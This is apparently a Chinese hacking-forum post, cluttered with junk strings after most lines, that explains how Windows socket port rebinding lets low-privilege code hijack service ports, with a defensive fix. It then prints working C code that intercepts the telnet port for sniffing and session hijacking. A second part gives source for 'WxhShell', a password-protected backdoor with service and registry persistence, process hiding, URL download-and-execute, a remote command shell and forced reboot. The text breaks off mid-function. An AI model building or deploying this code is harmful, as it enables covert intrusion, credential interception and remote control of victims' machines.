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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Vn=J$Uv0  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); o~mY,7@a  
0t/S_Q  
  saddr.sin_family = AF_INET; 7:jSP$  
V [[B~Rs  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); XO"!)qF  
7QQ3IepP  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); :d)@|SR1  
XfViLBY( >  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 gAv?\9=a)W  
GrVvOJr  
  这意味着什么?意味着可以进行如下的攻击: T{?!sB3  
@zsr.d6Q  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ;,Lq*x2s  
B7?784{x,  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ^~=o?VtBg  
J[VQ6fD%  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 P/M*XUG.  
OwSr`2'9  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  &&_W,id`  
wz073-v>ZV  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 xqb I~jV#  
<:RU,  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +]5JXt^  
h=d&@k\g  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 `4\H'p  
4V43(G  
  #include 2MtaOG2l&q  
  #include R4@C>\c %m  
  #include %ze Sx  
  #include    89'nbg  
  DWORD WINAPI ClientThread(LPVOID lpParam);   SJy:5e?zk  
  int main() Rqvm%sAi  
  { ?%oPWmj}  
  WORD wVersionRequested; bG2 !5m4L  
  DWORD ret; JK[7&C-O  
  WSADATA wsaData; crZ\:LeJ  
  BOOL val; mgH4)!Z*56  
  SOCKADDR_IN saddr; //V?rs  
  SOCKADDR_IN scaddr; |_!xA/_U'T  
  int err; i>b^n+74>  
  SOCKET s; LL kAA?P  
  SOCKET sc; 0($MN]oZa  
  int caddsize; urXM}^  
  HANDLE mt; L7a+ #mGE  
  DWORD tid;   s {$c8  
  wVersionRequested = MAKEWORD( 2, 2 ); pX6OhwkTK  
  err = WSAStartup( wVersionRequested, &wsaData ); Fv#ToT:QXe  
  if ( err != 0 ) { NpH)K:$#%  
  printf("error!WSAStartup failed!\n"); *K-,<hJ#L  
  return -1; S\g8(\u  
  } 4s0>QD$J  
  saddr.sin_family = AF_INET; NZdQz  
   X$PT-~!a  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 y5+-_x,  
>UR-37g{p  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 5vg@zH\z  
  saddr.sin_port = htons(23); i"sVk8+o!  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) A+;]# 1y(D  
  { MJ &6 Z*  
  printf("error!socket failed!\n"); 63-`3R?;  
  return -1; a/`fJY6rR  
  } Z*s/%4On  
  val = TRUE; f-4<W0%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 pEhWgCL  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) _%Mu{Ni&  
  { -D{~7&  
  printf("error!setsockopt failed!\n"); 0&-!v?6 )  
  return -1; CF =#?+x  
  } .^P^lQT]>  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; < ~x5{p  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 NoZz3*j=  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 _RY<-B   
7d'4"c;*;  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $0iz;!w  
  { w?<:`  
  ret=GetLastError(); q:1 1XPP  
  printf("error!bind failed!\n"); s( 2=E|  
  return -1; IO]Oo3  
  } >2>xr"  
  listen(s,2); /KlA7MH6  
  while(1) jwAO{.}T1r  
  { sOU_j4M{  
  caddsize = sizeof(scaddr); 4ol=YGCI_  
  //接受连接请求 +<bq@.x  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);  /=[M  
  if(sc!=INVALID_SOCKET) .' D+De&y  
  { e0>@Yp[Kd  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); BFj@Z'7P  
  if(mt==NULL) K2:r7f  
  { 3]xnKb|W  
  printf("Thread Creat Failed!\n"); rw_&t>Ri;  
  break; _ [XEL+.  
  } 3<fJ5-z|-  
  } [h8F)  
  CloseHandle(mt); bp$8hUNYz-  
  } 9OT2yC T  
  closesocket(s); % k$+t  
  WSACleanup(); >[ 72]<6  
  return 0; R>pa? tQgK  
  }   [ .dNX  
  DWORD WINAPI ClientThread(LPVOID lpParam) WMh'<'w N_  
  { Arfq  
  SOCKET ss = (SOCKET)lpParam; s/P\w"/fN  
  SOCKET sc; |nU:  
  unsigned char buf[4096]; 9n8;eE08  
  SOCKADDR_IN saddr; P]dDTh~e~  
  long num; \Xxx5:qM  
  DWORD val; dVe3h.,[v  
  DWORD ret; L)B?p!cdLT  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \O7,CxD2  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   H@aCo(#  
  saddr.sin_family = AF_INET; fjp>FVv3  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <!DOCvd  
  saddr.sin_port = htons(23); rw+0<r3|K  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]*zF#Voc  
  { ^D vaT9s  
  printf("error!socket failed!\n"); 9iS3.LCfX  
  return -1; :Q\h'$C  
  } /hI#6k8o_  
  val = 100; %R&3v%$y*  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) UK& E#i  
  { I X\&lV  
  ret = GetLastError(); ;'J L$=  
  return -1; cpE&Fba}"  
  } @}fnR(fS  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5-]%D(y  
  { +[~\\X  
  ret = GetLastError(); YrZAy5\  
  return -1; DC/CUKE.d  
  } Y6{p|F?&"  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) DlIfr6F  
  { ,LzS"lmmo  
  printf("error!socket connect failed!\n"); )(DV~1r=  
  closesocket(sc); Jw {:1  
  closesocket(ss); hj4A&`2  
  return -1; R9=,T0Y p  
  } /9GqEQsfM  
  while(1) qRB%G<H  
  { uVisU%p  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 %Yd}},X_E  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 %o{vD&7\  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ^OA}#k NTW  
  num = recv(ss,buf,4096,0); AvV.faa  
  if(num>0) fDbs3"H Q  
  send(sc,buf,num,0); rx^pGVyg  
  else if(num==0) RKBjrSZg8  
  break; yUH8  
  num = recv(sc,buf,4096,0); *]Vx=7 D  
  if(num>0) 6xBP72L;%"  
  send(ss,buf,num,0); _n{N3da  
  else if(num==0) d[S C1J  
  break; $ B$=,^)3  
  } YHKm{A ]  
  closesocket(ss); ^k-H$]  
  closesocket(sc); PfuYT_p4s  
  return 0 ; twO)b"0  
  } Rj E,Wn  
wkd591d*  
,:L}S03k  
========================================================== {s`1+6_&Vz  
LI nN-b#  
下边附上一个代码,,WXhSHELL <!w-op2@ir  
9r8{9h:  
==========================================================  &`@Jy|N\  
M#|TQa N  
#include "stdafx.h" uF^+}Y ZT  
(bT\HW%m  
#include <stdio.h> slPFDBx  
#include <string.h> m,.d< **  
#include <windows.h> ipbVQ7  
#include <winsock2.h> Ws1<Jt3/."  
#include <winsvc.h> W)9KYI9u  
#include <urlmon.h> awC&xVf  
' !_44  
#pragma comment (lib, "Ws2_32.lib") +T4<}+n  
#pragma comment (lib, "urlmon.lib") O%+:fJz6wI  
%{Ls$Y)  
#define MAX_USER   100 // 最大客户端连接数 Cu|n?Uk  
#define BUF_SOCK   200 // sock buffer s*!2oj  
#define KEY_BUFF   255 // 输入 buffer AN.`tv  
D(r|sw  
#define REBOOT     0   // 重启 Ar):D#D  
#define SHUTDOWN   1   // 关机 glv(`cQ  
]XP[tLY Y  
#define DEF_PORT   5000 // 监听端口 4wBCs0NIm  
Y{J/Oib  
#define REG_LEN     16   // 注册表键长度 o0<T|zgF5,  
#define SVC_LEN     80   // NT服务名长度 \?C(fp R  
i3Ffk+ |b  
// 从dll定义API gbInSp`4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ->j9(76"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); EG1SIEo  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); A+ f{j  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  !c*^:0  
w1GCjD*y  
// wxhshell配置信息 4 bJ3uIP#  
struct WSCFG { 2'x_zMV  
  int ws_port;         // 监听端口 n&Al~-Q:^  
  char ws_passstr[REG_LEN]; // 口令 3s|tS2^4  
  int ws_autoins;       // 安装标记, 1=yes 0=no ZU:gNO0  
  char ws_regname[REG_LEN]; // 注册表键名 Np=*B_ @8  
  char ws_svcname[REG_LEN]; // 服务名 *PMql$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 rSZWmns  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @*_K#3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3'']q3H  
int ws_downexe;       // 下载执行标记, 1=yes 0=no v:vA=R2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" yx}:Sgv%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /g8yc'{p  
_WSJg1  
}; Q!Op^4Jz  
yV]-![`D  
// default Wxhshell configuration @lJGdp  
struct WSCFG wscfg={DEF_PORT, a1}W2;W0]g  
    "xuhuanlingzhe", i/$lO de  
    1, p,4z;.s$  
    "Wxhshell", MDB}G '  
    "Wxhshell", =-:o?&64  
            "WxhShell Service", jAJkCCG  
    "Wrsky Windows CmdShell Service", -I|yi'  
    "Please Input Your Password: ", YJ"gm]Pm  
  1, KS| $_-7 u  
  "http://www.wrsky.com/wxhshell.exe", 9u)h$VC  
  "Wxhshell.exe" kB8l`| I  
    }; |MRxm"]A   
u_[Zu8  
// 消息定义模块 SMhT>dB  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6-JnT_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bX9}G#+U  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,sc>~B@Q  
char *msg_ws_ext="\n\rExit."; ' Wi*[  
char *msg_ws_end="\n\rQuit."; Jrffb=+b  
char *msg_ws_boot="\n\rReboot..."; -p)HH@6a  
char *msg_ws_poff="\n\rShutdown..."; w?/,LV  
char *msg_ws_down="\n\rSave to "; .O,gl$y}  
0}b8S48|?  
char *msg_ws_err="\n\rErr!"; (&x[>):6?  
char *msg_ws_ok="\n\rOK!"; ;w+A38N$J  
xL!05du  
char ExeFile[MAX_PATH]; ?Cu$qE!h)[  
int nUser = 0; FIS-xpv$  
HANDLE handles[MAX_USER]; {:rU5 !n  
int OsIsNt; O+e8}Tmm  
u ) ld  
SERVICE_STATUS       serviceStatus; B]hZ4.B1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }W YY5L8^  
i|=XW6J%  
// 函数声明 F{}z[0  
int Install(void); J LeV@NO  
int Uninstall(void); q3I,3?_  
int DownloadFile(char *sURL, SOCKET wsh); ``Nj Nd  
int Boot(int flag); C :e 'wmA  
void HideProc(void); 57oY]NT?  
int GetOsVer(void); =DqGm]tA  
int Wxhshell(SOCKET wsl); T @z$g  
void TalkWithClient(void *cs); Oa7W&wi  
int CmdShell(SOCKET sock); 9sRP8Nj|  
int StartFromService(void); qD9B[s8  
int StartWxhshell(LPSTR lpCmdLine); CtE".UlCA  
!k[ zUti  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ; lK2]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); K'71uW>  
L%BWrmg  
// 数据结构和表定义 K@d`jb4T  
SERVICE_TABLE_ENTRY DispatchTable[] = *JDc1$H0  
{ ``O\'{o&  
{wscfg.ws_svcname, NTServiceMain}, n XQg(!  
{NULL, NULL} hR?rZUl2M  
}; W]R5\ G*  
`&+ L/  
// 自我安装 :bh[6 F  
int Install(void) A 7sej  
{  %k2zsM  
  char svExeFile[MAX_PATH]; ,CvU#ab8$  
  HKEY key; ^oP]@r"qy  
  strcpy(svExeFile,ExeFile); 5 )C~L]  
%tu{`PN<  
// 如果是win9x系统,修改注册表设为自启动 %Cr- cR0  
if(!OsIsNt) { z,NHH):~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )XNcy"   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >:K3y$]_  
  RegCloseKey(key); |W::\yu6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { / )EB~|4']  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7eq;dNB@gq  
  RegCloseKey(key); 1n5&PNu  
  return 0; <Q8bn?Z  
    } im?nR+t+X  
  } L Y M`  
} }cf-r>WaR  
else { 2ru6 bIb;  
Vs"M Cqi  
// 如果是NT以上系统,安装为系统服务 <^&'r5H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Obd!  
if (schSCManager!=0) XrvrN^'  
{ vXf#gX!Y  
  SC_HANDLE schService = CreateService EYQ!ELuF  
  ( %?g]{  
  schSCManager, H1@"Yg8  
  wscfg.ws_svcname, &fTCY-W[  
  wscfg.ws_svcdisp, #2dmki"~(  
  SERVICE_ALL_ACCESS, Nn^el' S'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , H4pjtVBr  
  SERVICE_AUTO_START, IEA[]eik>  
  SERVICE_ERROR_NORMAL, j@:L MR>  
  svExeFile, NfSe(rd  
  NULL, Z`f _e?  
  NULL,  {<i!Pm  
  NULL, ;P{ *'@  
  NULL, VP"L _Um  
  NULL (kSk bwu  
  ); t2E_y6  
  if (schService!=0) W}e5 4-lu  
  { ?LW1D+  
  CloseServiceHandle(schService); Z# :Ww  
  CloseServiceHandle(schSCManager); }skXh_Vu4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); t]m#k%)  
  strcat(svExeFile,wscfg.ws_svcname); oR}cE Sr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <Nwqt[.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (E[c-1s  
  RegCloseKey(key); `\_>P@qz  
  return 0; KPHtD4  
    } b~>kTO  
  } :{BD/6  
  CloseServiceHandle(schSCManager); h}0}g]IUx  
} Pu>jECcz  
} PDQEI55  
[J{\Ke0<e1  
return 1; xP/?E  
} `xv2,Z9<  
QiKci%=SX  
// 自我卸载 3u[m? Vw  
int Uninstall(void) 2S,N9 (7  
{ ad)jw:n  
  HKEY key; #K#BNpG|  
f.)z_RyGd  
if(!OsIsNt) { HKp|I%b]J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  3-~*  
  RegDeleteValue(key,wscfg.ws_regname); NVnId p  
  RegCloseKey(key); |#(KP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "%peYNZ&%  
  RegDeleteValue(key,wscfg.ws_regname); I-Q@v`  
  RegCloseKey(key); (/gv U80  
  return 0; .q90+9Ek=  
  } A>\5fO  
} X8 $Y2?<  
} )fy-]Ky *  
else { lQl!TW"aO  
C]EkVcKFA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M}fk[Yr>  
if (schSCManager!=0) & zR\Rmpt  
{ HOaNhJ{7D  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5bB\i79$  
  if (schService!=0) *O|_)G  
  { q@Aw]Kh  
  if(DeleteService(schService)!=0) { 8KyRD1 (-R  
  CloseServiceHandle(schService); '\O[j*h^.  
  CloseServiceHandle(schSCManager); I1 pnF61U  
  return 0; 57wHo[CJ  
  } Q&#Arph0e  
  CloseServiceHandle(schService); Uiv4'v Yg  
  } gc\/A\F<  
  CloseServiceHandle(schSCManager); I A%ZCdA;  
} Z=9<esx  
} t zShds  
1=Kt.tuf  
return 1; s\zY^(v4  
} KpBOmXE  
z]2MR2W@X  
// 从指定url下载文件 " Tk,  
int DownloadFile(char *sURL, SOCKET wsh) C$0rl74Wi  
{ eQz.N<f"  
  HRESULT hr; Ay7PU  
char seps[]= "/"; c,^W/:CQAB  
char *token; 3$?nzKTW\  
char *file; |:.s6a#(  
char myURL[MAX_PATH]; `Ez8!d{MD8  
char myFILE[MAX_PATH]; S{RRlR6Z  
/Xq|S O  
strcpy(myURL,sURL); 3:O|p[2)L  
  token=strtok(myURL,seps); E-%$1=;  
  while(token!=NULL) /d+v4GIB  
  { ;m7~!m)  
    file=token; Vm?#~}T  
  token=strtok(NULL,seps); ^&\pY  
  } o|u4C{j  
Zor!hc0<  
GetCurrentDirectory(MAX_PATH,myFILE); 7;c^*"Ud  
strcat(myFILE, "\\"); CIui9XNU  
strcat(myFILE, file); ,SPgop'  
  send(wsh,myFILE,strlen(myFILE),0); V?Q45t Ae  
send(wsh,"...",3,0); :_<&LO]Q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =;GmLi3A  
  if(hr==S_OK) S|xwYaoy%  
return 0; |)v}\-\ #  
else UD8e,/  
return 1; 2}7_Y6RS*  
fs yVu|G  
} <& 3[|Ca  
,cxe"U  
// 系统电源模块 Buso `G  
int Boot(int flag) ;jaugKf  
{ AOkG.u-k  
  HANDLE hToken; }z#M!~  
  TOKEN_PRIVILEGES tkp; HY eCq9S  
ps?su`  
  if(OsIsNt) { +8W5amk.P|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -+u}u=z%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *DvX|| `&  
    tkp.PrivilegeCount = 1; ;&gk)w6*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @ ;@~=w  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); B|V!=r1%  
if(flag==REBOOT) { GLESngAl  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j^;P=L0=  
  return 0; =L@CZ"  
} ev0>j4Q  
else { `k*;%}X\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /P-#y@I  
  return 0; Sk"hqF.2  
} "wcw`TsK  
  } &SPY'GQ!  
  else { vE8BB$D  
if(flag==REBOOT) { PNd'21N  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g\q4-  
  return 0; YjnQ@IfIH  
} IiRQ-,t1  
else { q9p31b3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I^( pZ9  
  return 0; F-b]>3r  
} _&\'Va$  
} 1<Mb@t  
V=5S=7 Z:  
return 1; V_ , `?>O  
} F!g1.49""  
T n/Zs|  
// win9x进程隐藏模块  oJ*,a  
void HideProc(void) S[q:b .  
{ @k)J i!7  
P_0[spmFU  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,u^{zYoW  
  if ( hKernel != NULL ) =n ,1*  
  { ;+(_stxqV9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?< ^8,H  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); DBsoa0w  
    FreeLibrary(hKernel); A?lR[`'u\  
  } n"aF#HR?0d  
Q W,:'\G  
return; _b/zBFa%  
} 3Mm_xYDud  
-`{W~yz  
// 获取操作系统版本 "_LqIW1   
int GetOsVer(void) ?D2a"a$^  
{ ?!jJxhK<h  
  OSVERSIONINFO winfo; Cw(ypu  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); c1i:m'b_5  
  GetVersionEx(&winfo); 2)}*'_E9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) u&c%L0)E&  
  return 1; ?B;7J7T  
  else jUNt4  
  return 0; l3ogMRq@  
} <yX  u!  
 QtG6v<A  
// 客户端句柄模块 Rvu5#_P  
int Wxhshell(SOCKET wsl) ~!2fUewEu  
{ #k)z5vZ$h  
  SOCKET wsh; r ~UDK]?V  
  struct sockaddr_in client; =v::N\&  
  DWORD myID; o!~XYEXvUa  
!*~QB4\2b  
  while(nUser<MAX_USER) aACPyfGQ  
{ W!\%v"  
  int nSize=sizeof(client); `Rfe*oAf  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <_t]?XHB[  
  if(wsh==INVALID_SOCKET) return 1; MG.c`t/w  
,q#SAZ/N  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]o"E 4Vht  
if(handles[nUser]==0) _+aR| AEC  
  closesocket(wsh); 0{ B<A^Bf  
else CC"a2Hu/  
  nUser++; 9'sZi}rT  
  } WvJ:yUb2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); cMT:Ij];  
gy,)% {,G  
  return 0; ;qUB[Kw  
} !lFNG:&`  
|y0k}ed  
// 关闭 socket 2bw) , W  
void CloseIt(SOCKET wsh) _6c/,a8;*J  
{ GXD<X_[  
closesocket(wsh); =8tK]lb  
nUser--; T{^mh(3/"  
ExitThread(0); [QQM/?  
} .5s58H cg,  
2 yANf  
// 客户端请求句柄 +HUy,@^ Pa  
void TalkWithClient(void *cs) `@1e{ ?$  
{ 8LPWT!S  
`kvIw,c.  
  SOCKET wsh=(SOCKET)cs; aN*{nW  
  char pwd[SVC_LEN]; 0L32sF y  
  char cmd[KEY_BUFF]; FCwE/ 2,  
char chr[1];  *BM#fe  
int i,j; 2!W[ff@~7  
cU ?F D  
  while (nUser < MAX_USER) { BGj!/E  
Dbi ^%  
if(wscfg.ws_passstr) { JCBX?rM/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rX5"p!z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7 qn=W  
  //ZeroMemory(pwd,KEY_BUFF); @uV]7d"z(  
      i=0; I2RXw  
  while(i<SVC_LEN) { rloxM~7!,)  
JtMl/h  
  // 设置超时 i g7|kl  
  fd_set FdRead; i={4rZOD^  
  struct timeval TimeOut; oO3 ^9?Z  
  FD_ZERO(&FdRead); 4t%Lo2v!X%  
  FD_SET(wsh,&FdRead); GKF!GbGR@  
  TimeOut.tv_sec=8; E.Th}+  
  TimeOut.tv_usec=0; 3[_WTwX0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +'93%/:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7\yh(+kN  
X|!@%wuGC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +eH`mI0f  
  pwd=chr[0]; ?F$#t6Q  
  if(chr[0]==0xd || chr[0]==0xa) { Zon7G6s9`  
  pwd=0; I!9>"s12  
  break; HfH_jnR*  
  } V"K.s2U^  
  i++; >+;} "J  
    } \/SOpC  
`# !>}/m  
  // 如果是非法用户,关闭 socket IaRwPDj6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $gYGnh_,Q  
} V,c^Vq y  
ac@\\2srV  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }#E]efjs  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h\Y~sm?!`  
@C[p?ak  
while(1) { >b0 Bvx-  
bW/T}FN D  
  ZeroMemory(cmd,KEY_BUFF); Z]2z*XD  
FGc#_4SiL  
      // 自动支持客户端 telnet标准   jG& 8`*|*  
  j=0; Jc5Y Gj7  
  while(j<KEY_BUFF) { D_ej%QtB@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); * &#M`,#  
  cmd[j]=chr[0]; pO N#r  
  if(chr[0]==0xa || chr[0]==0xd) { ~^'t70 :D  
  cmd[j]=0; ';.y`{/  
  break; yD!GgnW  
  } v&9:Wd*Iz'  
  j++; G i(  
    } #a|r ^%D  
~@<o-|#  
  // 下载文件 fo>_*6i74  
  if(strstr(cmd,"http://")) { 4XiQ8"C  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /']`}*d  
  if(DownloadFile(cmd,wsh)) N(J#<;!yb  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  '@.Lg0`  
  else Q=[ IO,f  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AhjCRYk+  
  } 0/z$W.!  
  else { "9*MSsU  
,|zwY~l t5  
    switch(cmd[0]) { /=#~8  
  S @!z'$&  
  // 帮助 ,*x/L?.Z!  
  case '?': { +>u 8r&Jw.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); # M3d=  
    break; ,ag* /  
  } 7;sF0oB5e  
  // 安装 EM'#'fBZ>Y  
  case 'i': { .;:dG  
    if(Install()) '@5"p.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CL!s #w1I\  
    else *Oh]I|?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M&rbXi.  
    break; L^ U.h  
    } gI+dyoh  
  // 卸载 S$GWY^5}{  
  case 'r': { !~}@Eoii4  
    if(Uninstall()) OI^qX;#Kd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 19\ V@d^  
    else m{ rsjdnA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )=#zMdK&  
    break; Xc G   
    } 2)|G%f_lS  
  // 显示 wxhshell 所在路径 o-<.8Z}>at  
  case 'p': { ,GF(pCZzG  
    char svExeFile[MAX_PATH]; >ZnnGX6$(  
    strcpy(svExeFile,"\n\r"); 6{[ uCxxl  
      strcat(svExeFile,ExeFile); *HQ>tvUh  
        send(wsh,svExeFile,strlen(svExeFile),0); iz6+jHu'l  
    break;  :LTjV"f  
    } AK$i0Rn;pm  
  // 重启 >ti)m >f  
  case 'b': { 4 :M}Vz-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !=vd:,  
    if(Boot(REBOOT)) xL!@$;J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aydf# [F  
    else { jG/@kh*m  
    closesocket(wsh); w+{ o^ O  
    ExitThread(0); 9G{#a#Z.  
    } {6>:= ?7]R  
    break; O _^Y*!  
